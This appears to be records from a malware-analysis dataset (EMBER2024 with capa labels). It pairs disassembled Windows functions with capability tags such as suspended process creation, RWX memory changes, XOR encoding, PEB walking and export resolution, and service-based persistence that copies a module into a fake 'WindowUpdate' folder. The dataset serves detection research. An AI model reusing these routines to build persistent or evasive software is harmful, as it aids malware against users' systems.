joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eab4
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40eb89
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40eba4
push ebx
push 0x40ebb4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040513c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403250
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x40eb34
mov al, 0x6a
call fcn.0040e6d4
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040ea88
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40eb3d
call fcn.0040ea88
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eb90
lea eax, [ebp - 4]
call fcn.00404c88
ret

Function at 0x40ec3c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ed07
jmp 0x40ecfb
cmp dword [esi + 0x10], 0x1000
jne 0x40ece7
test byte [esi + 0x15], 1
jne 0x40ece7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40ec98
cmp ebp, 2
je 0x40ec98
cmp ebp, 0x10
je 0x40ec98
cmp ebp, 0x20
jne 0x40ecb4
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40ecb4
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ecc5
mov eax, dword [esi]
add eax, ebx
call fcn.0040ec34
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40ecb8
cmp byte [esp + 4], 0
je 0x40ece7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ed07
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ec6d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x8ccbbb
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x8cc92e
add ecx, edi
call fcn.008ccbe8
add ecx, 1
push 0x5d32769c
pop edi
xor dword [eax], edx
sub edi, edi
inc eax
mov ecx, edi
and ecx, edi
sub ecx, edi
cmp eax, ebx
jne fcn.008ccbbb
inc edi
ret
Function at 0x100319d9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10031a18
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10031a18
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10031a18
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10031a18
cmp dword [ecx + 0x74], 0xe
jbe 0x10031a18
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1003460e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100346ab
push ebx
push esi
call fcn.100345d7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1003456b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10034658
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100346aa
push edi
push eax
call fcn.10035537
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10034678
call fcn.100330b0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100346a9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1003456b
add esp, 0x20
test eax, eax
jne 0x10034697
push edi
call fcn.100330b0
jmp 0x1003469f
push ebx
call fcn.100330b0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10034918
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003d9f0
push 0x1003d9e8
push str.FlsAlloc
push 0x1f
call fcn.10034834
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003494c
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003b174]
call esi
jmp 0x10034952
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10034996
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003da00
push 0x1003d9f8
push str.FlsGetValue
push 0x21
call fcn.10034834
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100349cd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1003b174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100349d5
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003da08
push 0x1003da00
push str.FlsSetValue
push 0x22
call fcn.10034834
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10034a0f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1003b174]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10039f70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10039f9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10039f9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401340
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, 0x100
cdq
idiv ecx
and edx, 1
jne 0x401373
mov byte [0x414008], 1
test edx, edx
je 0x40137e
mov byte [0x414008], 1
xor eax, eax
cmp byte [0x414008], 0
je 0x4013c0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4013d8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
push eax
push eax
xor eax, eax
leave
ret 0x10
Function at 0x409e20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebp - 4], esi
lea esi, [ebp + 0xc]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x409e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x409e96
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x409f3b
mov eax, dword [ebp - 0x24]
cmp eax, 4
jne 0x409f10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x409e89
cmp eax, 0x40
je 0x409e89
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
sub esp, 0x10
mov esp, ebp
pop ebp
ret
cmp eax, 0x40
je 0x409ec0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x409ec0
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00409e20
lea esi, [esi]
lea edi, [edi]
Function at 0x40a1b0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.0040a190
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40a1e6
jmp 0x40a236
add ebx, 1
movzx edx, byte [ebx]
cmp dl, 9
je 0x40a1e3
cmp dl, 0x20
je 0x40a1e3
cmp dl, 0x22
je 0x40a280
cmp dl, 9
mov eax, edx
je 0x40a224
cmp dl, 0x20
je 0x40a228
test dl, dl
jne 0x40a21a
lea esi, [esi]
jmp 0x40a236
cmp al, 0x20
je 0x40a228
test al, al
je 0x40a236
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x40a212
cmp al, 0x20
jne 0x40a29a
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x40a228
cmp al, 0x20
je 0x40a228
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40a245
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401340
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
add ebx, 1
movzx eax, byte [ebx]
test al, al
je 0x40a28e
cmp al, 0x22
jne 0x40a280
cmp al, 0x22
jne 0x40a224
add ebx, 1
movzx eax, byte [ebx]
jmp 0x40a224
cmp al, 9
je 0x40a228
nop
jmp 0x40a236
Function at 0x10002f80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x10002fb9
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
cmp edx, dword [ecx + 4]
je 0x10003013
mov eax, dword [ebp - 8]
sub eax, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 0x2c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0x30
jle 0x10002fe8
jmp 0x10002fb1
mov edx, dword [ebp - 0x1c]
push edx
call fcn.10002f10
add esp, 4
cmp eax, dword [ebp + 8]
jne 0x10003004
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x10], ecx
jmp 0x10003013
mov edx, dword [ebp - 4]
cmp dword [edx + 0x18], 0
jne 0x10003011
xor eax, eax
jmp 0x10003016
jmp 0x10002fb1
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10003020
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x50]
mov dword [ebp - 0x20], ecx
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xc], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + ecx + 0x7c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
jmp 0x100030b1
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x1c]
jae 0x10003107
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx*4]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 0xdc]
cmp dword [ebp - 0x20], eax
ja 0x100030d3
jmp 0x100030a8
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
add eax, dword [edx + ecx*4]
push eax
call fcn.10002ec0
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x10003105
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x24]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x10], edx
jmp 0x10003107
jmp 0x100030a8
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jb 0x10003121
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x10], ecx
jae 0x10003121
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10007620
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000763b
xor al, al
jmp 0x10007649
mov ecx, dword [ebp - 4]
and ecx, 0x10
je 0x10007647
xor al, al
jmp 0x10007649
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10008fd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e7c4
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x268], 0
push str.C:Program_Files__x86__
mov ecx, dword [ebp + 8]
call fcn.100087c0
mov dword [ebp - 0x26c], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x268]
or eax, 1
mov dword [ebp - 0x268], eax
push str.WindowUpdate
mov ecx, dword [ebp + 8]
call fcn.10008780
push 0x250
push 0
lea ecx, [ebp - 0x260]
push ecx
call fcn.1000deb0
add esp, 0xc
lea edx, [ebp - 0x260]
push edx
mov ecx, dword [ebp + 8]
call fcn.10008760
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
je 0x10009086
cmp dword [ebp - 0x264], 0xffffffff
jne 0x10009099
push 0
mov ecx, dword [ebp + 8]
call fcn.10008760
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x100090a6
mov eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret
Function at 0x10009760
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e8cb
mov eax, dword fs:[0]
push eax
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10595660
lea ecx, [ebp - 0x248]
call fcn.100087c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x230]
push eax
call fcn.10008fd0
add esp, 4
mov byte [ebp - 4], 1
push 0
lea ecx, [ebp - 0x230]
call fcn.10008760
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.DXSETUP.exe
lea ecx, [ebp - 0x230]
call fcn.10008780
push 0
lea ecx, [ebp - 0x230]
call fcn.10008760
push eax
lea ecx, [ebp - 0x248]
call fcn.10008760
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10009833
mov dword [ebp - 0x24c], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.100087a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.100087a0
mov eax, dword [ebp - 0x24c]
jmp 0x1000992c
lea ecx, [ebp - 0x270]
push ecx
call fcn.10008fd0
add esp, 4
mov dword [ebp - 0x250], eax
mov edx, dword [ebp - 0x250]
push edx
lea ecx, [ebp - 0x230]
call fcn.10009ff0
lea ecx, [ebp - 0x270]
call fcn.100087a0
push 0x208
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.1000deb0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push 0x10024358
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x10024370
lea ecx, [ebp - 0x230]
call fcn.10008780
push 0
lea ecx, [ebp - 0x230]
call fcn.10008760
push eax
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x100098fb
mov dword [ebp - 0x254], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.100087a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.100087a0
mov eax, dword [ebp - 0x254]
jmp 0x1000992c
mov dword [ebp - 0x258], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.100087a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.100087a0
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret
Function at 0x1000aab0
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x1000ab01
xor eax, eax
jmp 0x1000ab61
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1000ab2e
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x1000ab61
lea ecx, [ebp - 0x20]
push ecx
push 1
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret

Function at 0x1000ab70
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000ab96
xor eax, eax
jmp 0x1000abfa
push 0x100245d4
push 0
push 0x100245d8
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 1
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000abe1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x1000abfa
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000ac00
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x1000ac3d
xor eax, eax
jmp 0x1000acbf
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1000ac5d
xor eax, eax
jmp 0x1000acbf
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x1000ac78
xor eax, eax
jmp 0x1000acbf
cmp dword [ebp - 0x1c], 0x10
jne 0x1000ac8b
cmp dword [ebp - 0x1c], 2
je 0x1000ac8b
mov eax, 1
jmp 0x1000acbf
push 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x1000aca6
xor eax, eax
jmp 0x1000acbf
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret

Function at 0x1000acd0
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000ad07
xor eax, eax
jmp 0x1000ad63
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x1000ad27
xor eax, eax
jmp 0x1000ad63
mov edx, dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x1000ad4a
xor eax, eax
jmp 0x1000ad63
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c794
mov esp, ebp
pop ebp
ret